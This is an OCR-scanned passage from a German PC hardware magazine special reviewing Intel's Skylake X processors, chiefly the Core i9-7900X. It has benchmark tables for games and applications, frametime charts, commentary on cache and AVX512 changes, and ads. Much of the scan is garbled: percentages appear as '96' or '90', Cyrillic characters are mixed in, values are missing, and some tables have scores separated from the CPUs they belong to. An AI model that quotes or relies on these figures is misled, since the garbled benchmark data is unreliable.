Intel Core i7-7700K (4,2+ GHz - 4c/8t 


Effizienz in Anwendungen 
Intel Core i7-6950X (3,0+ GHz - 10c/20t 
Intel Core i7-6900K (3,2-- GHz — 8c/16t) 
Intel Core i9-7900X (3,3+ GHz — 10c/20t) 
AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) 
AMD Ryzen 7 1700 (3,0+ GHz — 8c/16t) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) 
Intel Core i7-7740X (4,3+ GHz - 4c/8t 
Intel Core i7-7700K (4,2+ GHz — 4c/8t) 
i9-7900X , unlocked" (4,0+ GHz - 10c/20t) 
Intel Core i7-4790K (4,0+ GHz — 4c/8t) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) 


pw 100,0 (+14 %) 
pun 91,7 (+4 90) 
Intel Core i7-6950X (3,0+ GHz – 10c/20t) ua 88,0 (Basis) 

Intel Core i7-6900K (3,2+ GHz – 8c/16t) | 84,2 (-4 %) 
Intel Core i9-7900X (3,3+ GHz – 100/200) wag 83,8 (-5 %) 
i9-7900X , unlocked" (4,0+ GHz – 10c/20t) Tawka 82,6 (-6 96) 

Intel Core i7-6800K (3,4+ GHz — 6122 Ee 80,0 (-9 96) 

Intel Core i7-4790K (4,0+ GHz — 480 E 79,8 (-9 96) 

AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) | 77,1 (-12 %) 

AMD Ryzen 7 1700 (3,0+ GHz — 8с/161) Ew 76,8 (-13 %) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) | 76,6 (-13 %) 
AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) | 76,3 (-13 96) 


EN 100, (Basis) 
pm 89,8 (10 90) 
pm 89,6 (-10 %) 
E 6,6 (-13 %) 
ws (-13 %) 
Gw 84,5 (16 %) 
Gw (-16 %) 
p 83,5 (-17 %) 
p 1,2 (-19 %) 
pu 78,0 (-22 90) 

D OOLLAAG;6C.OEERFL 5 5 (-25 %) 

Gw ws) (-25 %) 


AMD FX-8300 (3,3-- GHz – 4m/8t) ru 45,6 (-48 %) AMD FX-8300 (3,3+ GHz — 4m/8t) cu 35,1 (-65 96) 

System: Intel X299/99, 2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschwindigkeit jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti & 1.380/3.900 MHz; Win 10 64 Bit Prozent 

Bemerkungen: Angegeben ist der Systemverbrauch in Relation zur Leistung. Der i9-7900X bekleckert sich hier nicht gerade mit Ruhm — woran die X299-Plattform unschuldig ist, wie der i7-7740X beweist. > Besser 
Prozessen hergestellt - die Firma ben wurde, ist auch der Marktstart 
selbst spricht seit Kaby Lake von der Plattform und CPUs am 19. CPU-Index mit neuer Bestmarke 
„verbesserter 14-nm-Fertigung“. Juni nicht gewohnt rund gelaufen. BESSER > | Normierte Leistung 
Skylake Xkommt anfangs mitsechs Erst UEFI-Updates vom 20. respek- _ 

г š P Ў E a Intel Core i9-7900X 100% 
bis maximal zehn Kernen, 12- bis tive 21. Juni haben im PCGH-Test- | (33, Ghz- una so. 2066 
18-Core-Varianten sollen bis zum labor die bis dahin enttäuschende 17,1 %— 1.000 € AN OS, ICRA: 198 SP15:136 “SCZ 37- y FCB: 26:647 CRI 2105 R er -426% 49 


Herbst folgen und wahrscheinlich 
direkt gegen AMDs Threadripper 
gestellt werden. Das würde auch 
die noch nicht festgelegten Taktra- 
ten erklären, denn eines ist sicher: 
Mit 140 Watt TDP kommt Intel bei 
maximalem Kernausbau taktmäßig 
nicht allzu weit - wenn man ihn 
lässt, sprengt schon der i9-7900X 
dieses Leistungsbudget innerhalb 
der Werkstakte. 


Sockel 2066: 

Eine Frühgeburt? 

Nachdem bereits die Ankündi- 
gung der Core-X-Prozessoren auf 
der Computex ziemlich kurzfristig 
von Intel an seine Dependancen 
etwa in Deutschland weitergege- 
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Spiele-Leistung auf ein gutes Maß 
heben können - und hätten wir 
für diesen Artikel nicht einiges 
an Vorarbeit mit anderweitig be- 
schafften Engineering-Samples 
leisten können, wäre die Bemuste- 
rung seitens Intel anderthalb Tage 
vor Redaktionsschluss zu knapp 
für einen ausführlichen Artikel 
wie diesen gewesen. Wir hätten 
auch gern noch weitere Spiele 
oder Ähnliches für Sie getestet, 
doch das muss aus Zeitgründen 
bis zur kommenden PCGH-Ausga- 
be warten. Kurzum, es deutet alles 
darauf hin, dass Intel den Launch 
der Basin-Falls-Plattform nicht mit 
der gewohnten Vorlaufzeit gestal- 
ten konnte. 


ACS:130 DAI: 136 FC4:83 TW3:133 ЗОМ: 24.094 7z: 105 BLD: 109 yCr: 63 


Intel Core i7-6950X 
3,0+ GHz — 10c/20t — So. 2011-3 
10,5 % – 1.540 € 


971% 
FCB: 24.097 CB15:1.805 ALR:90 x264: 61 
3DM: 21.430 7z120 BLD:117 yCr:70 


AN6:37 CR3:193 F15:130 SC2:40 
ACS:137 DAI:138 4:90 — TW3:135 


Intel Core i7-6900K 918% 


3,2+ GHz - 8c/16t - So. 2011-3 
ANG:36 (3:177 F15:124 Om FCB:24761 CB15:1483 ALR:93 x264: 72 


%- 
16,25 940 & ACS:136 DAI:136 FC4:89 TW3:135 ЗОМ: 19.232 72:126 BLD:143 уСг: 75 


Intel Core 17-7740Х 874% 


4,3+ GHz – 4/81 — So. 2066 00% 
Ж AN6:42 САЗ:153 sm —SC2:68 
365 pc 3S ACS:132 DAL 148 FC4:133  TW3:140 


FCB:18.364 CB15:996 ALR:114 x264:91 
3DM: 14.733 77198 — BLD:199 yCr.94 


Intel Core i7-7700K 831% 


42+ GHz — Act - So. 1151 
384%-340€ Ae Ai CR3:144 Р15:89 SC2:62 FCB:17.733 CB15:974 ALR:118 х264:94 
Ü АС$:131 DAF138 FC4:131 TW3:126 3DM:14.240 7204 В00:205 yCr.99 


AMD Ryzen 7 1800X 798% 


3,64 GHz -8161- So. AM4 
AN6:32  CR3:150 F15:93 $С2: 33 FCB: 23.143 CB15:1.639 ALR:105 х264: 64 


28,3 % - 475 € 


ACS:110 DAI:114 FC4:77 TW3:110 "DM 19.312 72:182 BLD:140 yCr: 109 


Spiele (links): Anno 2205, Assassin's Creed Syndicate, Crysis 3, Dragon Age: Inquisition, F1 2015, Far Cry 4, Starcraft 2 Lon 
Witcher 3: gerundete Durchschnitts-Fps in 1.280 x 720 (max. Details außer Post-Processing, Ambient Occlusion, AA und AF), 
mehr ist besser. Anwendungen (rechts): Fritz Chessbench, 3D Mark Firestrike Physics, Cinebench R15: Punkte (mehr ist bes- 
ser), 7-Zip 15.21, Adobe Lightroom 5.7.1, Blender 2.76, x264, y-Cruncher: Sekunden (weniger ist besser) System: 8 GiByte je 


Speicherkanal, Turbo und Energiesparfeatures an; Windows 10 64 Bit, Grafikkarte: Geforce GTX 980 Ti & 1.380/3.900 MHz 
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Preis-Leistungs-Verhältnis Bl Gesamtindex 8 Spieleindex Im Anwendungsindex 


SPECIAL | Skylake X 


Frametime-Verläufe in Assassin's Creed: Syndicate (Grafik: Titan X (Pascal), GF 378.78, Power-Target 120 %, Temperature-Target 90 °C): Im direkten Vergleich 
zum i7-6950X im Kasten darunter ist die Frametime-Varianz in 1080p insgesant etwas unruhiger. In 2160p (rechts) zeigt der i9-7900X weniger starke Einzel-AusreiBer. 


1080p: Core i9-7900X 2160p: Core i9-7900X 


we FRAFS Bench Verwer Notes: Fe FRAFS Bench Viewer Notes: 
Statistics (displayed events) 1.920 x 1.080 = Statistics (displayed events) 3840 x 2160 SC 
Avg-tme: — 727 (137 FPS) PCGH-CPU-Renchmark Avg- time: — 151 (66 FPS) PCGH-CPU-Renchmark 
ї%ъ time: 967 (103195) Assassin's Creed: Syndicate (DX11) 1% time: 168 (59 1P5) Mets Oe з Creed: Syndicate (DX11) 
01% time: 101 [CT] Core ñ 7%00Х 0.1% time: 181 (55 FPS) 
2,7 K frames; (0 - 2745) Titan X (Pascal, 120% PT, 90*C TT) 1З K Irames; (0 - 1326) Tian (Pascal 120% PT, soc TT) 


Zeg 


Frametime-Verlàufe in Assassin's Creed: Syndicate (Grafik: Titan X (Pascal), GF 378.78, Power-Target 120 %, Temperature-Target 90 °C): Speziell in Ul- 
tra-HD-Auflösung (rechts) trüber einzelne Frames mit deutlich ausbrechenden Laufzeiten das Bild. In Full-HD/1080p sind die Unterschiede zum Nachfolger marginal. 


1080p: Core i7-6950X 2160p: Core i7-6950X 


pum FRAFS Bench Verwer Notes: pm FRAFS Bench Viewer Notes: 
Statistics (entire Ме) 1920x1080 Statistics (entire file) 3840x2160 
Avg- tème: — 746 (140 FPS) PCGH-CPU-Renchenark Avg- time: 15,8 (67 FPS) PCGH-CPU-Renchmark 
19% time: 940 (106 1Р5) Assassin's Creed Syndicate 1% time: Ma (59 Tes) Assassin's Creed Syndicate 
0.1% time: 102 (98 FPS) Core 17-6900K 0.1% time: 28,1 (36 кт) Core i7-6900K 
2,7 K frames: (0 - 2789) Titan X (Pascal) 1,3K frames: (0 - 1332) Titan X (Pascal) 


EL ат 


eb "rem "m 


Frametime-Verläufe in Assassin's Creed: Syndicate (Grafik: Titan X (Pascal), GF 378.78, Power-Target 120 %, Temperature-Target 90 °C): AMDs Ryzen-Topmo- 
dell zeigt ingesamt zwar merklich niedrigere Fps, aber die Bildlaufzeiten sind bis auf wenige Einzel-AusreiBer dafür in 1080p dichter gestaffelt — sehr schón! 


1080p: Ryzen 7-1800X 2160p: Ryzen 7-1800X 


от FRAFS Bench Viewer Notes: pm FRAFS Bench Viewer Notes: 
Statistics (entire file) 1320х1 ово Statistics (entire file) 3840x2160 
Avg- tame: 931 (107 FPS} PCGH-CPU-Renchmark Aug-time: — 151 (66 FPS) PCGH-CPU-Renchmark 
1% time: 118 (85 ТРУ) Assassin's Creed Syndicate (DX11) 1% time: 169 (59 ГРУ) Assassin's Creed Syndicate (DX11) 
0.1% time: 136 (74 FPS) Пулса 7 1800X 0.41% time: 17,9 (56 FPS) Ryzen 7 1800X 
21K Irames; (0 - 2145) Тйап X (Pascal) 1З K Irames; (0 - 1325) Titan X (Pascal) 


ме 


мт 


Frametime-Verlàufe in Assassin's Creed: Syndicate (Grafik: Titan X (Pascal), СЕ 378.78, Power-Target 120 %, Temperature-Target 90 °C): Das Fps-Niveau des 
i7-7740X liegt zwar höher als das des R7-1800X, die Frametimes schwanken aber etwas stärker. In 2160p sind die Laufzeiten bis auf einzelne Ausbrecher fast ideal. 


1080p: Core i7-7740X 2160p: Core i7-7740X 


we FRAFS Bench Viewer Notes: we FRAFS Bench Viewer Notes: 
sim 523m 
Statistics (displayed events) 1.920 x 1.080 Statistics (displayed events) 3840 x 2.160 
Avg- time: 281 (128 FPS) PCGH CPU Benchmark Avg. time: 155 (65 FPS) PCGH CPU Benchmark 
1%time: 101 (99 ТРУ) Assassın's Creed: Syndicate (DX11) 199 ипе: 180 (56 res) Assassin's Creed: Syndicate (DX11) 
0.1% time: 10,9 (92 res) Core H 7740 0.1% time: 210 (48 fps) Core U-7740X 
жы 2,5 К Iramms: (0- 2558) Titan X (Pascal, 120% PT, 90°C TT) x 1⁄2 K frames: (0 - 1289) Titan X (Pascal, 120% PT, 90*C TT) 
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Skylake X | SPECIAL 


Pro-Megahertz-Vergleich (als Achtkerner!) mit Kaby Lake, Broadwell & Co. 


Alle CPUs @ 3,2 GHz fix AC: Synd. Crysis 3 F1 2015 | Far Cry 4 | Witcher 3 | 3DM FS Phys. | Lightroom | Blender 2.76 | x264 MT | y-Cruncher 
Core i9-7900X (@ 8c/16t!) 122/130,4 141/162,8 | 104/128,9 | 56/71,4 | 126/1345 | 21.273 Punkte | 109 Sek. 148 Sek. 69 Sek. 74,9 Sek. 
Core i7-6900K (8c/16t) 125/136,2 144/165,9 | 104/128,3 | 64/86,2 | 125/131,3 | 22.981 Punkte | 105 Sek. 155 Sek. 71 Sek. 82,4 Sek. 
i9-7900X vs. i7-6900K -2/-4 % -2/-2 9b +0/+0 % | -12/-17 % | x12 % -2 96 4 9b -4 % -11 96 -9 % 
Zum Vergleich: 

Ryzen 7 1800X (8c/16t) 94/101,9 118/135,9 73/88,5 60/70,6 96/104,3 | 16.941 Punkte | 119 Sek. 163 Sek. 74 Sek. 121,9 Sek. 
Piledriver (FX-8370, 4m/8t) 60/67,0 58/70,4 41/50 43/60,1 62/66,3 6.364 Punkte 198 Sek. 588 Sek. 211 Sek. 325,5 Sek. 
2x/4x DDR4-2400/DDR3-1866 DR, Stromsparmodi/C-States aus. Angaben in Min./O-Fps bei Spielen, Sekunden (mehr ist schlechter!) bei Lightroom/Blender/x264/y-Cruncher. 


Neben der abermals leicht veränderten 
Gehäuseform, die trotz fast identischer 
Ausmaße aufgrund der Aussparungen 
jedoch keine Gefahr für ein versehentli- 
ches Einsetzen in den Sockel 2011 birgt, 
sind es vor allem innere Werte, die Intel 
verändert hat. 


Spätestens beim Blick auf CPU-Z oder 
in unsere Spec-Tabelle auf der Eingangs- 
seite des Specials fällt auf, dass der Last- 
Level-Cache (LLC oder L3) deutlich 
geschrumpft wurde. Im Vergleich zum 
vorigen Zehnkerner i7-6950X von 25 
auf 13,75 MiByte oder von 2,5 auf 1,375 
MiByte pro Kern. Außerdem wurde die 
Assoziativität von 20-fach auf den krum- 
men Wert 11 verringert, was das Design 
vereinfacht. Das klingt erst mal dras- 
tisch, da aber zugleich das Cache-De- 
sign von „inclusive“ auf „non-inclusive“ 
umgestellt wurde, geht längst nicht so 
viel LLC-Kapazität verloren, wie es den 
Anschein hat, denn der neue L3 enthält 
nur noch Daten, die nicht im L2-Cache 
gespeichert sind. 


Diesen hat Intel im Gegenzug von 512 
kiByte auf 1.024 kiByte verdoppelt und 
auch die Assoziativität stieg entspre- 
chend mit, hier wurde also nicht gespart 
oder vereinfacht. Intel gibt an, dass eine 
höhere Trefferrate in Caches mit niedri- 
gerer Latenz zu höherer Leistung führe. 
Unsere Messungen mit der aktuellen 
Version von AIDA64 jedoch zeigen, dass 
sich die L2-Latenz gegenüber dem i7- 
6950X von 3,5 auf 5 ns verschlechtert 
hat und auch unter den 4,2 ns des Ryzen 
7-1800X liegt. Am L1-Cache wurde unse- 
res Wissens nicht geschraubt. 


Insgesamt möchte Intel mit dieser Um- 
stellung wahrscheinlich die Datenloka- 
lität erhöhen, also für Berechnungen 
benötigte Bits und Bytes nahe an den 
jeweiligen Rechenkernen halten. In ei- 
nem Die mit vielen Kernen kann das hel- 
fen, Energie zu sparen. Aber es gibt noch 
einen weiteren Grund und der ist Kaby 
Lake X ebenfalls vorenthalten - Skylake- 
X-klusiv sozusagen. 


www.pcgameshardware.de 


үч Ë Eier COMPANY 


ттт 


HartTube LED 


О№ 13/1 ит 
х Ass 


EISBLOCK ХРХ 
Satin/Clear 


Alphacool, erhältlich z.B. bei: 


ALTERNATE 


bequem online 


а 
+ 


www.alphacool.com info@alphacool.com 


SPECIAL | Skylake X 


Multithread-Shooter: Crysis 3 


„Fields” (720p, kein AA/AF/min. Post-Processing) 


i9-7900X , unlocked" (3,3+ GHz - 10c/20t) EE 204,7 (+6 96) 
i9-7900X „140W“ (3,3+ GHz - 10c/20t) a N 197,5 (+2 %) 
Intel Core i7-6950X (3,0+ GHz – 10c/20t) ua Es 193,2 («0 %) 
Intel Core i7-6900K (3,2+ GHz - 8c/16t) Eug 176,9 (-8 %) 
Intel Core i7-5960X (3,0+ GHz – 8c/16t) Xs; 164,4 (-15 96) 
Intel Core i7-5930K (3,5+ GHz – 6120 X36 154,2 (-20 96) 
Intel Core i7-6800K (3,4+ GHz – 6120 83688 154,1 (-20 96) 
Intel Core i7-7740X (4,34. GHz — 4с/81) BE 152,5 (-21 90) 
AMD Ryzen 7 1800X (3,6+ GHz – 8c/16t) Eat ew 149,5 (-23 96) 
Intel Core 17-5820К (3,3+ GHz — 60/121) Eat 149,0 (-23 96) 
AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) agi 145,6 (-25 96) 
Intel Core i7-7700K (4,24. GHz – 4с/81) |y 144,3 (-25 96) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) Ear e 142,0 (-27 9b) 
AMD Ryzen 7 1700 (3,0+ GHz - 8c/16t) 8 137,2 (29 %) 
Intel Core i7-6700K (4,0+ GHz – 4с/81) 9 136,7 (29 %) 
Intel Core i7-4960X (3,6+ GHz — 6c/121) Emo 136,7 (-29 96) 
AMD Ryzen 5 1600 (3,2+ GHz — 6c/12t) XXX 133,1 (31 96) 
Intel Core i7-3960X (3,3+ GHz — 6c/121) SIE 131,0 (-32 %) 
ntel Core i7-5775C (3,3+ GHz - 4с/81) EXE 128,5 (-33 96) 
ntel Core i7-4790K (4,0+ GHz — 4с/81) Xn 128,5 (-33 %) 
ntel Core i7-4770K (3,5-- GHz – 4/81) X08 119,3 (-38 96) 
ntel Core i7-990X (3,5+ GHz – 6c/12t) EEE 1 19,2 (-38 96) 
Intel Xeon E3-1230 v5 (3,4+ GHz – 4с/81) XO 117,5 (-39 96) 
AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) Egg 104,3 (-46 96) 
ntel Core i7-4820K (3,7+ GHz – 4c/8t) Egg 102,1 (-47 %) 
ntel Core i7-3770K (3,5-- GHz - 4с/81) ga 101,6 (-47 96) 
Intel Core i5-7600K (3,8+ GHz — 4c/4t) FEX" 101,5 (-47 96) 
AMD FX-9590 (4,7-- GHz – Am/8t) Xn 95,7 (-50 96) 
ntel Core i5-5675C (3,1+ GHz - 4c/4t) ШЕЕ 94,6 (-51 96) 
Intel Core i5-7500 (3,4+ GHz – 4c/4t) Loggt 94,3 (-51 96) 
) C 
C 


AMD Ryzen 5 1400 (3,2+ GHz – 4с/81) Ego 93,4 (-52 96) 
ntel Core i7-2600K (3,4+ GHz - 4с/81) gu 92,3 (-52 96) 
ntel Core i5-4690K (3,5-- GHz - 4c/4t) Eg 90,1 (-53 96) 
ntel Core i5-6600K (3,5-- GHz – 4с/81) jm 89,2 (-54 96) 
pes 88,6 (-54 96) 
C 
C 
C 


Intel Core i5-4670K (3,4+ GHz – 4c/4t) 
AMD FX-8370 (4,0-- GHz — 4m/8t) ETUI 88,3 (-54 %) 
AMD FX-8350 (4,0+ GHz — 4m/8t) Xa 88,0 (-54 96) 
Intel Core 15-7400 (3,0+ GHz – 4c/4t) EX 87,3 (-55 96) 
Intel Core i5-6500 (3,2+ GHz — 4с/41) Forms 82,9 (-57 96) 
Intel Core i5-3570K (3,4+ GHz - 4c/4t) Fea 80,3 (-58 96) 
Intel Core i3-7350K (4,2 GHz – 2c/4t) egi 77,8 (-60 %) 
AMD FX-8300 (3,3+ GHz — 4m/8t) Exe 73,7 (-62 96) 
AMD FX-8320E (3,2+ GHz — 4m/8t) Sez 72 1 (- 
AMD FX-6350 (3,9+ GHz — 3m/6t) egi 71,4 (-63 96) 
Intel Core i5-2500K (3,3+ GHz - Ac/4t) "eg 70,7 (-63 96) 
Intel Core i3-6100 (3,7 GHz — 2c/4t) eg 69,5 (-64 96) 
Intel Core i7-920 (2,7+ GHz - 4с/81) eg 69,3 (-64 96) 
AMD Phen. Il X6 1100T (3,3-- GHz — 6c/6t) 56! 67,2 (-65 96) 
Intel Pentium G4560 (3,5 GHz — 2с/41) ШУД 65,5 (-66 96) 
AMD FX-6300 (3,5+ GHz – 3m/6t) Essi 64,7 (-67 96) 
AMD Athlon X4 845 (3,5+ GHz — 2m/4t) MEAO 48,4 (-75 96) 
AMD A10-7870K (3,9+ GHz — 2m/4t) ШЕ 08 48,2 (-75 96) 
( 
( 


-63 96) 


) 
) 
AMD A10-6800K (4,1+ GHz – 2m/4t) В З 47,3 (-76 96) 
) 
AMD A10-7800 (3,5+ GHz – 2m/4t) В ЗӨ 44,3 (-77 96) 
Intel Pentium G4400 (3,3 GHz – 2с/21) Ш ЗЗ 43,8 (-77 96) 
AMD A8-7600 (3,1+ GHz – 2m/4t) Ш З 43,0 (-78 96) 
Intel Core 2 Quad 06600 (2,4 GHz - 4c/4t) 2318 29,6 (-85 96) 
Intel Core 2 Duo E8500 (3,2 GHz — 2с/21) MN 20,4 (-89 96) 
AMD Athl. 64 X2 6400+ (3,2 GHz — 2с/21) #28 18,1 (-91 96) 
Intel Pentium EE 965 (3,7 GHz - 2c/4t) Й 14,2 (-93 96) 
Intel Core 2 Duo E6600 (2,4 GHz — 2c/2t) E 14,0 (-93 96) 


C 

AMD FX-4300 (3,8+ GHz – 2m/4t) В 398 46,6 (-76 %) 
C 
C 


AVX512F 

Intel geht bei den Vektoreinhei- 
ten den náchsten logischen Schritt 
und verbreitert diese erneut. Mit 
AVX512F - das F steht für Founda- 
tion - wird der Registersatz auf 512 
Bit verbreitert. Die Rechenwerke 
und auch die nötige Chipfläche 
wuchsen entsprechend mit, so- 
dass sie im Falle des Core i9-7900X 
bei der Nutzung von 64-bittigen 
Fused-Multiply-Add-Instruktionen 
(FMA3) nun die Marke von 1 Milli- 
arde Rechenschritte pro Sekunde 
(TFLOPS) sprengen. Zum Vergleich: 
Der i7-6950X kommt auf knapp 
500 GFLOPs, ein Ryzen 7 auf rund 
250 GFLOPS. Diese verdoppelte Re- 
chenpower muss natürlich auch mit 
doppelt so breiten Datenpaketen 
gefüttert werden - hier dürfte auch 
ein Grund für die Verdopplung der 
L2-Caches bei Skylake X liegen. 


Doch all das nützt nicht viel, wenn 
entsprechende Programme diese 
Rechenpower nicht ansprechen 
und solche sind gerade bei AVX512 
und speziell im Endanwender- 
Bereich absolute Mangelware. Das 
wird sich unserer Einschätzung 
nach auch so bald nicht ändern. 


Bisher sind uns genau zwei frei er- 
hältliche Programme bekannt, die 
AVX512F nutzen: Das synthetische 
„flops“ des y-Cruncer-Programmie- 
rers, welches den reinen FLOPS- 
Durchsatz verschiedener Prozesso- 
ren misst und AIDA64 in Versionen 
vor 5.90.4300 - hier hat der Ent- 
wickler die AVX512-Implementie- 
rung am Simulator programmiert, 
dies mit dem Update auf oben ge- 
nannte Version jedoch erst einmal 
zurückgezogen, um die Plausibili- 
tät speziell der Raytracing-Bench- 
marks zu prüfen. Der CPU-Teil im 
GPGPU-Benchmark jedoch erreicht 
bei den reinen FLOPS-Messungen 
stimmige Resultate von 2108/1054 
GFLOPS für 32 respektive 64-Bit- 
Operationen. 


Übrigens: Auch Integer-Ops pro- 
fitierten deutlich, speziell INT64 
legte um mehr als Faktor 3 vom i7- 
6950X auf den 19-7900Х zu, denn 
sie werden nun ebenfalls in den 
AVX512F-Einheiten bearbeitet. Ein 
kurzer, extern durchgeführter Vor- 
ab-Test auf einem i7-7800X zeigte, 
dass auch der Achtkerner offenbar 
über den vollen AVX512-Durchsatz 
verfügt - Gerüchte hatten diesem 


Action Adventure: Assassin's Creed Syndicate 


„Bishopsgate” (720p, kein AA/AF/min. Post-Processing) 


Intel Core i7-6950X (3,0+ GHz – 10c/20t) Eam: ШЕ 136,9 (Basis) 
Intel Core i7-6900K (3,2+ GHz – 8c/16t) Eas Ex 135,9 (-1 %) 
Intel Core i7-7740X (4,34 GHz - 4с/81) Tawa A 132,2 (3 %) 
Intel Core i7-7700K (4,24. GHz — 4с/81) Er ps 131,2 (- 
i9-7900X , unlocked" (3,3+ GHz - 10с/201) BESSER 130,3 
Intel Core i7-6800K (3,44- GHz — 6с/121) [ag 130,0 
i9-7900X ,140W" (3,3+ GHz - 100200. mwa E 129,8. 
Intel Core i7-5775C (3,34- GHz — 4с/81) aoa 127,3 (-7 %) 


90) 
%) 
%) 

) 


(4 
(5 
(5 
(5% 


i 127.1 (-7 %) 
122,0 (-11 90) 
Km 110,1 (-20 %) 
post 110,0 (-20 96) 
Egg! i 106,8 (-22 96) 
pg, 104,8 (-23 %) 
ПИЕНО 100,2 (-27 96) 
gat 99,7 (27 %) 
НЕННЕ 94,5 (-31 %) 
A 91,1 (-33 96) 
pat 85,0 (-38 *6) 
EEUU 4,9 (-38 *0) 
pn 82,1 (40 %) 
G= 81,2 (41 90) 
pest 70,9 (48 %) 
pen 70,9 (-48 %) 
Gli 70.2 (-49 %) 
pagi 56,5 (-59 %) 


Intel Core i7-5960X (3,0+ GHz — 8c/16t) 
Intel Core i7-5820K (3,3+ GHz — 6с/121 
AMD Ryzen 7 1800X (3,6+ GHz - 8c/16t) 
Intel Core i7-4790K (4,0+ GHz — 4c/8t) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t 
AMD Ryzen 7 1700 (3,0+ GHz - 8c/16t) 
Intel Core i7-3770K (3,5+ GHz — 4c/8t) 
Intel Core i5-7600K (3,8+ GHz – 4c/4t) 
Intel Core i7-990X (3,5+ GHz - 6с/121 
Intel Core i5-7400 (3,0+ GHz – 4c/4t) 
Intel Core i5-4690K (3,5+ GHz – 4c/4t) 
Intel Core i7-2600K (3,44- GHz – 4c/8t) 
Intel Core i5-3570K (3,4+ GHz – 4c/4t) 
AMD FX-9590 (4,7+ GHz — 4m/8t 

Intel Core 17-920 (2,7+ GHz — Ac/8t) 
AMD FX-8300 (3,3+ GHz — 4/81) 

Intel Core i5-2500K (3,3+ GHz – 4c/4t) 
AMD Phen. II X6 1100T (3,3+ GHz - 6c/6t) 


System: Intel Х99/2170/297/277, AMD X370/990FX,8 GiB RAM pro Speicherkanal (Geschw. 
jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz (359.06 HQ); Win 10 
64 Bit Bemerkungen: Alle Spiele-Tests 1.280 x 720 (16:9), um GPU-Limit zu verringern. 


Mimil 2 Fps 


» Besser 


System: Intel Х299/Х99, 7170/797/777, AMD X370/990FX,8 GiB pro Speicherkanal 
(Geschw. jeweils laut max. CPU-Spez.), GF GTX 980 Ti @ 1.380/3.900 MHz; Win10 64 Bit 
Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9) um GPU-Limit zu minimieren. 


Mimil @ Fps 
> Besser 
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1&1 DSL 


INTERNET & TELEFON 


1 E717 


Sparpreis für 12 Monate, 
danach 24,99 €/Monat. 


lomeServer Speed mit neuester 
LAN \ologie für bestes Internet 
im ganzen Haus! 


( 02602/ 96 90 


* 1&1 DSL Basic für 12 Monate 9,99 €/Monat, danach 24,99 €/Monat. Inklusive Telefon-Flat ins dt. Festnetz, Internet ohne Zeitlimit (monatlich 100 GB bis zu 16 MBit/s, 1 n d 1 d e 
danach bis 1 MBit/s) und 1&1 DSL-Modem für 0,— €. Oder auf Wunsch z. B. mit 1&1 HomeServer Speed für 4,99 €/Monat mehr. Hardware-Versand 9,90 €. u п 
24 Monate Vertragslaufzeit. Preise inkl. MwSt. 1&1 Telecom GmbH, Elgendorfer StraBe 57, 56410 Montabaur 


SPECIAL | Skylake X 


Partikelhólle mit Multithreading: F1 2015 


„Stormy Spain” (720p, kein AA/AF/min. Post-Processing) 


i9-7900X , unlocked" (3,3+ GHz — 10c/20t 
i9-7900X „140W” (3,3+ GHz — 10c/20t 
Intel Core i7-6950X (3,0+ GHz — 10c/20t 
Intel Core i7-6900K (3,2+ GHz — 8c/16t 
Intel Core i7-5960X (3,0-- GHz — 8c/16t 
Intel Core i7-6800K (3,4+ GHz — 6c/12t 
Intel Core i7-5820K (3,3+ GHz — 6c/12t 
Intel Core i7-7740X (4,3+ GHz - 4c/8t 
Intel Core i7-5775C (3,3+ GHz – 4c/8t 
AMD Ryzen 7 1800X (3,6+ GHz - 8c/16t 
Intel Core i7-7700K (4,2+ GHz ~ Ac/&t) 
AMD Ryzen 5 1600X (3,6+ GHz - 6c/12t 
AMD Ryzen 7 1700 (3,0+ GHz - 8c/16t 
Intel Core i7-4790K (4,0+ GHz — 4с/8ї 
Intel Core i7-3770K (3,5+ GHz — Ac/&t) 
Intel Core i5-7600K (3,8+ GHz – 4c/4t 
Intel Core i7-990X (3,5+ GHz - 6c/12t 
AMD FX-9590 (4,7+ GHz — 4m/8t 

Intel Core i5-7400 (3,0+ GHz – Ac/At) 
Intel Core i7-2600K (3,4+ GHz — Ac/&t) 
Intel Core i5-4690K (3,5+ GHz – 4с/4ї 
AMD FX-8300 (3,3+ GHz – 4m/8t 

Intel Core i5-3570K (3,4+ GHz - 4с/4ї 
Intel Core 17-920 (2,7+ GHz — 4c/8t 

Intel Core i5-2500K (3,3+ GHz – 4с/4ї 
AMD Phen. II X6 1100T (3,3+ GHz - 6c/6t) 


FE 144,1 («11 90) 
KmÚm——ÑTUWBIWEEB. 136,1 («4 %) 
ENS NW 130, (Basis) 
ws 1236 (-5 %) 
Egg 1154 (-12 %) 
ENS 1043 (-20 %) 
NSW 102,3 (22 %) 
pn ИШИ 98,0 (-25 96) 
ENSE 94,5 (28 90) 
D 027 (-29 %) 
a 5 6 (-32 %) 
psi 88,6 (-32 %) 
pua cu 88,6 (-32 %) 
71,2 (-45 %) 
68,6 (-47 %) 
ДИУ 68,1 (-48 96) 
psa 64, (-51 96) 

pug 61,3 (-53 96) 

pagg lili 60,9 (-53 96) 

Eu 54,6 (-58 96) 

Eg ШЕШ 54,1 (-59 %) 

Kasa 54,0 (-59 %) 

Eam 51,6 (-60 96) 

pog 48,6 (-63 90) 

pagis 41,6 (-68 96) 

БЕЛОЕ 28,9 (-78 %) 


System: Intel X299/X99, 2170/297/777, AMD X370/990FX,8 GiB pro Speicherkanal 


(Geschw. jeweils laut max. CPU-Spez.), GF G 


Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9) um GPU-Limit zu minimieren. 


Mimil ø Fps 


X 980 Ti @ 1.380/3.900 MHz; Win10 64 Bit 
» Besser 


und dem Sechskerner eine Halbie- 
rung desselben unterstellt. 


Ring: Nächste Ausfahrt Mesh 
Im Gegensatz zu den bisherigen 
Core-Prozessoren sind die einzel- 
nen Kerne beim Skylake X nun 
nicht mehr durch einen oder meh- 
